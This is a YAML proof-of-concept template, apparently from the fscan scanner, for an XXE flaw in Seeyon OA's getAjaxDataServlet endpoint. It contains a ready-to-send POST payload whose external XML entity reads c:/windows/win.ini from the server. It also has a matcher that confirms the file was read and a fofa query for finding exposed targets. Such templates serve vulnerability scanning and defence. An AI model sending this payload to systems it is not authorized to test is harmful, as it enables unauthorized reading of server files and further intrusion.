Files
fscan/webscan/pocs/seeyon-getajaxdataservlet-xxe.yaml
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feat: expand internal network poc coverage
2026-07-16 02:04:36 +08:00

27 lines
1.2 KiB
YAML

id: seeyon-getajaxdataservlet-xxe
info:
name: 致远OA getAjaxDataServlet XXE
author: Wen
severity: critical
verified: true
description: |
fofa: app="致远互联-OA"
tags: seeyon,oa,xxe
created: 2024/01/12
requires: [seeyon]
requires-mode: opportunistic
rules:
r0:
request:
method: POST
path: /seeyon/m-signature/RunSignature/run/getAjaxDataServlet
body: |
S=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%5D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E
expression: |
(response.status == 200 || response.status == 206) &&
response.body.ibcontains(b"[fonts]") &&
response.body.ibcontains(b"[extensions]")
expression: r0()